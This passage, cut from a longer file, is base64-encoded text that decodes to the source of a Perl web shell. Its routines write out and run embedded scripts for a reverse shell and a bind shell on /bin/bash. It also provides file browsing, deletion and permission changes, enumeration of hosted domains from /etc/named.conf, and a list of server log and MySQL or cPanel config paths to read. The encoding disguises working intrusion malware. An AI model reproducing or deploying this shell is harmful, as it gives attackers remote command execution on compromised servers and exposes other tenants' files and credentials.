uZyAuLi4uCgk8YnI+WytdIFRyeSBjb21tYW5kOiA8cnVuPm5jICRFTlZ7J1NFUlZFUl9BRERSJ30gPHNwYW4gaWQ9ImJpIj4xNDEyPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPgoKCTwvdHI+Cgk8L3RhYmxlPjxicj4KRU5ECn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJhY2tjb25uZWN0IHVzZSBwZXJsCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJhY2tCaW5kCnsKCXVzZSBTb2NrZXQ7CQoJJGJhY2twZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnU1U4Nk9sTnZZMnRsZERzTkNpUlRhR1ZzYkFrOUlDSXZZbWx1TDJKaGMyZ2lPdzBLSkVGU1IwTTlRRUZTUjFZN0RRcDFjMlVnVTI5amEyVjBPdzBLZFhObElFWnBiR1ZJWVc1a2JHVTdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnWjJWMGNISnZkRzlpZVc1aGJXVW9JblJqY0NJcEtTQnZjaUJrYVdVZ2NISnBiblFnSWxzdFhTQlZibUZpYkdVZ2RHOGdVbVZ6YjJ4MlpTQkliM04wWEc0aU93MEtZMjl1Ym1WamRDaFRUME5MUlZRc0lITnZZMnRoWkdSeVgybHVLQ1JCVWtkV1d6RmRMQ0JwYm1WMFgyRjBiMjRvSkVGU1IxWmJNRjBwS1NrZ2IzSWdaR2xsSUhCeWFXNTBJQ0piTFYwZ1ZXNWhZbXhsSUhSdklFTnZibTVsWTNRZ1NHOXpkRnh1SWpzTkNuQnlhVzUwSUNKRGIyNXVaV04wWldRaElqc05DbE5QUTB0RlZDMCtZWFYwYjJac2RYTm9LQ2s3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDSStKbE5QUTB0RlZDSXBPdzBLYjNCbGJpaFRWRVJGVWxJc0lqNG1VMDlEUzBWVUlpazdEUXB3Y21sdWRDQWlMUzA5UFNCRGIyNXVaV04wWldRZ1FtRmphMlJ2YjNJZ1BUMHRMU0FnWEc1Y2JpSTdEUXB6ZVhOMFpXMG9JblZ1YzJWMElFaEpVMVJHU1V4Rk95QjFibk5sZENCVFFWWkZTRWxUVkNBN1pXTm9ieUFuV3l0ZElGTjVjM1JsYldsdVptODZJQ2M3SUhWdVlXMWxJQzFoTzJWamFHODdaV05vYnlBbld5dGRJRlZ6WlhKcGJtWnZPaUFuT3lCcFpEdGxZMmh2TzJWamFHOGdKMXNyWFNCRWFYSmxZM1J2Y25rNklDYzdJSEIzWkR0bFkyaHZPeUJsWTJodklDZGJLMTBnVTJobGJHdzZJQ2M3SkZOb1pXeHNJaWs3RFFwamJHOXpaU0JUVDBOTFJWUTciOwoJJGJpbmRwZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkVGU1IwTTlRRUZTUjFZN0RRb2tjRzl5ZEFrOUlDUkJVa2RXV3pCZE93MEtKSEJ5YjNSdkNUMGdaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS0pGTm9aV3hzQ1QwZ0lpOWlhVzR2WW1GemFDSTdEUXB6YjJOclpYUW9VMFZTVmtWU0xDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLVzl5SUdScFpTQWljMjlqYTJWME9pUWhJanNOQ25ObGRITnZZMnR2Y0hRb1UwVlNWa1ZTTENCVFQweGZVMDlEUzBWVUxDQlRUMTlTUlZWVFJVRkVSRklzSUhCaFkyc29JbXdpTENBeEtTbHZjaUJrYVdVZ0luTmxkSE52WTJ0dmNIUTZJQ1FoSWpzTkNtSnBibVFvVTBWU1ZrVlNMQ0J6YjJOcllXUmtjbDlwYmlna2NHOXlkQ3dnU1U1QlJFUlNYMEZPV1NrcGIzSWdaR2xsSUNKaWFXNWtPaUFrSVNJN0RRcHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cENRbHZjaUJrYVdVZ0lteHBjM1JsYmpvZ0pDRWlPdzBLWm05eUtEc2dKSEJoWkdSeUlEMGdZV05qWlhCMEtFTk1TVVZPVkN3Z1UwVlNWa1ZTS1RzZ1kyeHZjMlVnUTB4SlJVNVVLUTBLZXcwS0NXOXdaVzRvVTFSRVNVNHNJQ0krSmtOTVNVVk9WQ0lwT3cwS0NXOXdaVzRvVTFSRVQxVlVMQ0FpUGlaRFRFbEZUbFFpS1RzTkNnbHZjR1Z1S0ZOVVJFVlNVaXdnSWo0bVEweEpSVTVVSWlrN0RRb0pjM2x6ZEdWdEtDSjFibk5sZENCSVNWTlVSa2xNUlRzZ2RXNXpaWFFnVTBGV1JVaEpVMVFnTzJWamFHOGdKMXNyWFNCVGVYTjBaVzFwYm1adk9pQW5PeUIxYm1GdFpTQXRZVHRsWTJodk8yVmphRzhnSjFzclhTQlZjMlZ5YVc1bWJ6b2dKenNnYVdRN1pXTm9ienRsWTJodklDZGJLMTBnUkdseVpXTjBiM0o1T2lBbk95QndkMlE3WldOb2J6c2daV05vYnlBbld5dGRJRk5vWld4c09pQW5PeVJUYUdWc2JDSXBPdzBLQ1dOc2IzTmxLRk5VUkVsT0tUc05DZ2xqYkc5elpTaFRWRVJQVlZRcE93MEtDV05zYjNObEtGTlVSRVZTVWlrN0RRcDlEUW89IjsKCgkkQ2xpZW50QWRkciA9ICRpbnsnY2xpZW50YWRkcid9OwoJJENsaWVudFBvcnQgPSBpbnQoJGlueydjbGllbnRwb3J0J30pOwoJaWYoJENsaWVudFBvcnQgZXEgMCkKCXsKCQlyZXR1cm4gJkJhY2tCaW5kRm9ybTsKCX1lbHNpZighJENsaWVudEFkZHIgZXEgIiIpCgl7CgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmFja3BlcmwpOwoJCWlmKC13ICIvdG1wLyIpCgkJewoJCQkkRmlsZT0iL3RtcC9iYWNrY29ubmVjdC5wbCI7CQoJCX1lbHNlCgkJewoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmFja2Nvbm5lY3QucGwiOwoJCX0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsKCQlwcmludCBGSUxFICREYXRhOwoJCWNsb3NlIEZJTEU7CgkJc3lzdGVtKCJwZXJsICRGaWxlICRDbGllbnRBZGRyICRDbGllbnRQb3J0Iik7CgkJdW5saW5rKCRGaWxlKTsKCQlleGl0IDA7Cgl9ZWxzZQoJewoJCSREYXRhPWRlY29kZV9iYXNlNjQoJGJpbmRwZXJsKTsKCQlpZigtdyAiL3RtcCIpCgkJewoJCQkkRmlsZT0iL3RtcC9iaW5kcG9ydC5wbCI7CQoJCX1lbHNlCgkJewoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmluZHBvcnQucGwiOwoJCX0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsKCQlwcmludCBGSUxFICREYXRhOwoJCWNsb3NlIEZJTEU7CgkJc3lzdGVtKCJwZXJsICRGaWxlICRDbGllbnRQb3J0Iik7CgkJdW5saW5rKCRGaWxlKTsKCQlleGl0IDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojICBBcnJheSBMaXN0IERpcmVjdG9yeQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSbURpcigkKSAKewoJbXkgJGRpciA9IHNoaWZ0OwoJaWYob3BlbmRpcihESVIsJGRpcikpCgl7CgkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpCgkJewoJCQlpZigoJGZpbGUgbmUgIi4iKSAmJiAoJGZpbGUgbmUgIi4uIikpCgkJCXsKCQkJCSRmaWxlPSAkZGlyLiRQYXRoU2VwLiRmaWxlOwoJCQkJaWYoLWQgJGZpbGUpCgkJCQl7CgkJCQkJJlJtRGlyKCRmaWxlKTsKCQkJCX0KCQkJCWVsc2UKCQkJCXsKCQkJCQl1bmxpbmsoJGZpbGUpOwoJCQkJfQoJCQl9CgkJfQoJCWNsb3NlZGlyKERJUik7Cgl9Cn0Kc3ViIEZpbGVPd25lcigkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJaWYoLWUgJGZpbGUpCgl7CgkJKCR1aWQsJGdpZCkgPSAoc3RhdCgkZmlsZSkpWzQsNV07CgkJaWYoJFdpbk5UKQoJCXsKCQkJcmV0dXJuICI/Pz8iOwoJCX0KCQllbHNlCgkJewoJCQkkbmFtZT1nZXRwd3VpZCgkdWlkKTsKCQkJJGdyb3VwPWdldGdyZ2lkKCRnaWQpOwoJCQlyZXR1cm4gJG5hbWUuIi8iLiRncm91cDsKCQl9Cgl9CglyZXR1cm4gIj8/PyI7Cn0Kc3ViIFBhcmVudEZvbGRlcigkKQp7CglteSAkcGF0aCA9IHNoaWZ0OwoJbXkgJENvbW0gPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAuLiIuJENtZFNlcC4kQ21kUHdkOwoJY2hvcCgkcGF0aCA9IGAkQ29tbWApOwoJcmV0dXJuICRwYXRoOwp9CnN1YiBGaWxlUGVybXMoJCkKewoJbXkgJGZpbGUgPSBzaGlmdDsKCW15ICR1ciA9ICItIjsKCW15ICR1dyA9ICItIjsKCWlmKC1lICRmaWxlKQoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWlmKC1yICRmaWxlKXsgJHVyID0gInIiOyB9CgkJCWlmKC13ICRmaWxlKXsgJHV3ID0gInciOyB9CgkJCXJldHVybiAkdXIgLiAiIC8gIiAuICR1dzsKCQl9ZWxzZQoJCXsKCQkJJG1vZGU9KHN0YXQoJGZpbGUpKVsyXTsKCQkJJHJlc3VsdCA9IHNwcmludGYoIiUwNG8iLCAkbW9kZSAmIDA3Nzc3KTsKCQkJcmV0dXJuICRyZXN1bHQ7CgkJfQoJfQoJcmV0dXJuICIwMDAwIjsKfQpzdWIgRmlsZUxhc3RNb2RpZmllZCgkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJaWYoLWUgJGZpbGUpCgl7CgkJKCRsYSkgPSAoc3RhdCgkZmlsZSkpWzldOwoJCSgkZCwkbSwkeSwkaCwkaSkgPSAobG9jYWx0aW1lKCRsYSkpWzMsNCw1LDIsMV07CgkJJHkgPSAkeSArIDE5MDA7CgkJQG1vbnRoID0gcXcvMSAyIDMgNCA1IDYgNyA4IDkgMTAgMTEgMTIvOwoJCSRsbXRpbWUgPSBzcHJpbnRmKCIlMDJkLyVzLyU0ZCAlMDJkOiUwMmQiLCRkLCRtb250aFskbV0sJHksJGgsJGkpOwoJCXJldHVybiAkbG10aW1lOwoJfQoJcmV0dXJuICI/Pz8iOwp9CnN1YiBGaWxlU2l6ZSgkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJaWYoLWYgJGZpbGUpCgl7CgkJcmV0dXJuIC1zICIkZmlsZSI7Cgl9CglyZXR1cm4gIjAiOwp9CnN1YiBQYXJzZUZpbGVTaXplKCQpCnsKCW15ICRzaXplID0gc2hpZnQ7CglpZigkc2l6ZSA8PSAxMDI0KQoJewoJCXJldHVybiAkc2l6ZS4gIiBCIjsKCX0KCWVsc2UKCXsKCQlpZigkc2l6ZSA8PSAxMDI0KjEwMjQpIAoJCXsKCQkJJHNpemUgPSBzcHJpbnRmKCIlLjAyZiIsJHNpemUgLyAxMDI0KTsKCQkJcmV0dXJuICRzaXplLiIgS0IiOwoJCX0KCQllbHNlIAoJCXsKCQkJJHNpemUgPSBzcHJpbnRmKCIlLjJmIiwkc2l6ZSAvIDEwMjQgLyAxMDI0KTsKCQkJcmV0dXJuICRzaXplLiIgTUIiOwoJCX0KCX0KfQpzdWIgdHJpbSgkKQp7CglteSAkc3RyaW5nID0gc2hpZnQ7Cgkkc3RyaW5nID1+IHMvXlxzKy8vOwoJJHN0cmluZyA9fiBzL1xzKyQvLzsKCXJldHVybiAkc3RyaW5nOwp9CnN1YiBBZGRTbGFzaGVzKCQpCnsKCW15ICRzdHJpbmcgPSBzaGlmdDsKCSRzdHJpbmc9fiBzL1xcL1xcXFwvZzsKCXJldHVybiAkc3RyaW5nOwp9CnN1YiBUcmltU2xhc2hlcygkKQp7CglteSAkc3RyaW5nID0gc2hpZnQ7Cgkkc3RyaW5nPX4gcy9cL1wvL1wvL2c7Cgkkc3RyaW5nPX4gcy9cXFxcL1xcL2c7CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgTGlzdERpcgp7CglteSAkcGF0aCA9ICZUcmltU2xhc2hlcygkQ3VycmVudERpci4kUGF0aFNlcCk7CglteSAkcmVzdWx0ID0gIjxmb3JtIG5hbWU9J2YnIG9uU3VibWl0PVwiRW5jb2RlcignZCcpXCIgYWN0aW9uPSckU2NyaXB0TG9jYXRpb24nPjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+UGF0aDogWyAiLiZBZGRMaW5rRGlyKCJndWkiKS4iIF0gPC9zcGFuPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nZCcgbmFtZT0nZCcgc2l6ZT0nNDAnIHZhbHVlPSckQ3VycmVudERpcicgLz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhJyB2YWx1ZT0nZ3VpJz48aW5wdXQgY2xhc3M9J3N1Ym1pdCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQ2hhbmdlJz48L2Zvcm0+IjsKCWlmKC1kICRwYXRoKQoJewoJCW15IEBmbmFtZSA9ICgpOwoJCW15IEBkbmFtZSA9ICgpOwoJCWlmKG9wZW5kaXIoRElSLCRwYXRoKSkKCQl7CgkJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQoJCQl7CgkJCQkkZj0kcGF0aC4kZmlsZTsKCQkJCWlmKC1kICRmKQoJCQkJewoJCQkJCXB1c2goQGRuYW1lLCRmaWxlKTsKCQkJCX0KCQkJCWVsc2UKCQkJCXsKCQkJCQlwdXNoKEBmbmFtZSwkZmlsZSk7CgkJCQl9CgkJCX0KCQkJY2xvc2VkaXIoRElSKTsKCQl9CgkJQGZuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGZuYW1lOwoJCUBkbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBkbmFtZTsKCQkkcmVzdWx0IC49ICI8ZGl2Pjx0YWJsZSB3aWR0aD0nOTAlJyBjbGFzcz0nbGlzdGRpcic+CgkJPHRyIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiAjM2UzZTNlJz48dGg+RmlsZSBOYW1lPC90aD4KCQk8dGggd2lkdGg9JzEwMCc+RmlsZSBTaXplPC90aD4KCQk8dGggd2lkdGg9JzE1MCc+T3duZXI8L3RoPgoJCTx0aCB3aWR0aD0nMTAwJz5QZXJtaXNzaW9uPC90aD4KCQk8dGggd2lkdGg9JzE1MCc+TGFzdCBNb2RpZmllZDwvdGg+CgkJPHRoIHdpZHRoPScyMzAnPkFjdGlvbjwvdGg+PC90cj4iOwoJCW15ICRzdHlsZT0ibm90bGluZSI7CgkJbXkgJGk9MDsKCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpCgkJewoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOwoJCQkkZCA9ICZ0cmltKCRkKTsKCQkJJGRpcm5hbWU9JGQ7CgkJCWlmKCRkIGVxICIuLiIpIAoJCQl7CgkJCQkkZCA9ICZQYXJlbnRGb2xkZXIoJHBhdGgpOwoJCQl9CgkJCWVsc2lmKCRkIGVxICIuIikgCgkJCXsKCQkJCW5leHQ7CgkJCX0KCQkJZWxzZSAKCQkJewoJCQkJJGQgPSAkcGF0aC4kZDsKCQkJfQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+PHRkIGlkPSdGaWxlXyRpJyBjbGFzcz0nZGlyJz48YSAgaHJlZj0nP2E9Z3VpJmQ9Ii4mRW5jb2RlRGlyKCRkKS4iJz5bICIuJGRpcm5hbWUuIiBdPC9hPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPkRJUjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPiIuJkZpbGVPd25lcigkZCkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGQpLiInLCciLiRkaXJuYW1lLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgiLiRpLiIsJyIuJGRpcm5hbWUuIicpXCIgPiIuJkZpbGVQZXJtcygkZCkuIjwvc3Bhbj48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlTGFzdE1vZGlmaWVkKCRkKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+PGEgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZGlybmFtZScsJyIuJkFkZFNsYXNoZXMoJkFkZFNsYXNoZXMoJGQpKS4iJyk7IHJldHVybiBmYWxzZTsgXCI+UmVuYW1lPC9hPiAgfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBkaXI6ICRkaXJuYW1lID8nKSkgeyByZXR1cm4gZmFsc2U7fVwiIGhyZWY9Jz9hPWd1aSZkPSIuJkVuY29kZURpcigkcGF0aCkuIiZyZW1vdmU9JGRpcm5hbWUnPlJlbW92ZTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsKCQkJJGkrKzsKCQl9CgkJZm9yZWFjaCBteSAkZiAoQGZuYW1lKQoJCXsKCQkJJHN0eWxlPSAoJHN0eWxlIGVxICJsaW5lIikgPyAibm90bGluZSI6ICJsaW5lIjsKCQkJJGZpbGU9JGY7CgkJCSRmID0gJHBhdGguJGY7CgkJCW15ICRhY3Rpb24gPSBlbmNvZGVfYmFzZTY0KCJlZGl0ICIuJGZpbGUpOwoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7CgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIGNsYXNzPSdmaWxlJz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4mRW5jb2RlRGlyKCRwYXRoKS4iJmM9Ii4kYWN0aW9uLiInPiIuJGZpbGUuIjwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZQYXJzZUZpbGVTaXplKCZGaWxlU2l6ZSgkZikpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlT3duZXIoJGYpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRmKS4iJywnIi4kZmlsZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oJGksJyRmaWxlJylcIiA+Ii4mRmlsZVBlcm1zKCRmKS4iPC9zcGFuPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPiIuJkZpbGVMYXN0TW9kaWZpZWQoJGYpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD48YSBvbmNsaWNrPVwicmVuYW1lX2Zvcm0oJGksJyRmaWxlJywnZicpOyByZXR1cm4gZmFsc2U7XCI+UmVuYW1lPC9hPiB8IDxhIGhyZWY9Jz9hPWRvd25sb2FkJm89Z28mZj0iLiRmLiInPkRvd25sb2FkPC9hPiB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGZpbGU6ICRmaWxlID8nKSkgeyByZXR1cm4gZmFsc2U7fVwiIGhyZWY9Jz9hPWd1aSZkPSIuJkVuY29kZURpcigkcGF0aCkuIiZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsKCQkJJGkrKzsKCQl9CgkJJHJlc3VsdCAuPSAiPC90YWJsZT48L2Rpdj4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRyeSB0byBWaWV3IExpc3QgVXNlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBWaWV3RG9tYWluVXNlcgp7CglvcGVuIChkMG1haW5zLCAnL2V0Yy9uYW1lZC5jb25mJykgb3IgJGVycj0xOwoJbXkgQGNuenMgPSA8ZDBtYWlucz47CgljbG9zZSBkMG1haW5zOwoJbXkgJHN0eWxlPSJsaW5lIjsKCW15ICRyZXN1bHQ9IjxoMz48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+V2FybmluZyAhIFNoZWxsIGlzIHVzZWQgdG8gcmVmZXIgbm90IHRvIGhhY2s8L2ZvbnQ+PC9oMz4iOwoJaWYgKCRlcnIpCgl7CgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJzx0YWJsZSBpZD0iZG9tYWluIj48dHI+PHRoPmQwbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOwoJfQoJZm9yZWFjaCBteSAkb25lIChAY256cykKCXsKCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQoJCXsJCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlbmFtZT0gdHJpbSgiL2V0Yy92YWxpYXNlcy8iLiQxKTsKCQkJJG93bmVyID0gZ2V0cHd1aWQoKHN0YXQoJGZpbGVuYW1lKSlbNF0pOwoJCQkkcmVzdWx0IC49ICc8dHIgc3R5bGU9IiRzdHlsZSIgd2lkdGg9NTAlPjx0ZD48YSBocmVmPSJodHRwOi8vJy4kMS4nIiB0YXJnZXQ9Il9ibGFuayI+Jy4kMS4nPC9hPjwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7CgkJfQoJfQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFZpZXcgTG9nCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFZpZXdMb2cKewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJaWYoJFdpbk5UKQoJewoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Eb24ndCBydW4gb24gV2luZG93czwvZm9udD48L2gyPiI7Cgl9CglteSAkcmVzdWx0PSI8dGFibGU+PHRyPjx0aD5QYXRoIExvZzwvdGg+PHRoPlN1Ym1pdDwvdGg+PC90cj4iOwoJbXkgQHBhdGhsb2c9KAknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9lcnJvcl9sb2cnLAoJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9hY2Nlc3NfbG9nJywKCQkJJy91c3IvbG9jYWwvYXBhY2hlMi9jb25mL2h0dHBkLmNvbmYnLAoJCQknL3Zhci9sb2cvaHR0cGQvZXJyb3JfbG9nJywKCQkJJy92YXIvbG9nL2h0dHBkL2FjY2Vzc19sb2cnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9lcnJvcl9sb2cnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9hY2Nlc3NfbG9nJywKCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3Mvc3VwaHBfbG9nJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9zdGF0c19sb2cnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9hY2Nlc3NfbG9nJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvZXJyb3JfbG9nJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvbGljZW5zZV9sb2cnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9sb2dpbl9sb2cnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9zdGF0c19sb2cnLAoJCQknL3Zhci9jcGFuZWwvY3BhbmVsLmNvbmZpZycsCgkJCScvdXNyL2xvY2FsL3BocC9saWIvcGhwLmluaScsCgkJCScvdXNyL2xvY2FsL3BocDUvbGliL3BocC5pbmknLAoJCQknL3Zhci9sb2cvbXlzcWwvbXlzcWwtYmluLmxvZycsCgkJCScvdmFyL2xvZy9teXNxbC5sb2cnLAoJCQknL3Zhci9sb2cvbXlzcWxkZXJyb3IubG9nJywKCQkJJy92YXIvbG9nL215c3FsL215c3FsLmxvZycsCgkJCScvdmFyL2xvZy9teXNxbC9teXNxbC1zbG93LmxvZycsCgkJCScvdmFyL215c3FsLmxvZycsCgkJCScvdmFyL2xpYi9teXNxbC9teS5jbmYnLAoJCQknL2V0Yy9teXNxbC9teS5jbmYnLAoJCQknL2V0Yy9teS5jbmYnLAoJCQkpOwoJbXkgJGk9MDsKCW15ICRwZXJtczsKCW15ICRzbDsKCWZvcmVhY2ggbXkgJGxvZyAoQHBhdGhsb2cpCgl7CgkJaWYoLXIgJGxvZykKCQl7CgkJCSRwZXJtcz0iT0siOwoJCX1lbHNlCgkJewoJCQkkcGVybXM9Ijxmb250IHN0eWxlPSdjb2xvcjogcmVkOyc+Q2FuY2VsPGZvbnQ+IjsKCQl9CgkJJHJlc3VsdCAuPTw8RU5EOwoJCTx0cj4KCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIG9uU3VibWl0PSJFbmNvZGVyKCdsb2ckaScpIj4KCQkJPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBpZD0ibG9nJGkiIG5hbWU9ImMiIHZhbHVlPSJ0YWlsIC0xMDAwMCAkbG9nIHwgZ3JlcCAnL2hvbWUnIiBzaXplPSc1MCcvPjwvdGQ+CgkJCTx0ZD48aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVHJ5IiAvPjwvdGQ+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIiAvPgoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiIC8+CgkJCTwvZm9ybT4KCQkJPHRkPiRwZXJtczwvdGQ+CgoJCTwvdHI+CkVORAoJCSRpKys7Cgl9CgkkcmVzdWx0IC49IjwvdGFibGU+IjsKCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBNYWluIFByb2dyYW0gLSBFeGVjdXRpb24gU3RhcnRzIEhlcmUKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQomUmVhZFBhcnNlOwomR2V0Q29va2llczsKCiRTY3JpcHRMb2NhdGlvbiA9ICRFTlZ7J1NDUklQVF9OQU1FJ307CiRTZXJ2ZXJOYW1lID0gJEVOVnsnU0VSVkVSX05BTUUnfTsKJExvZ2luUGFzc3dvcmQgPSAkaW57J3AnfTsKJFJ1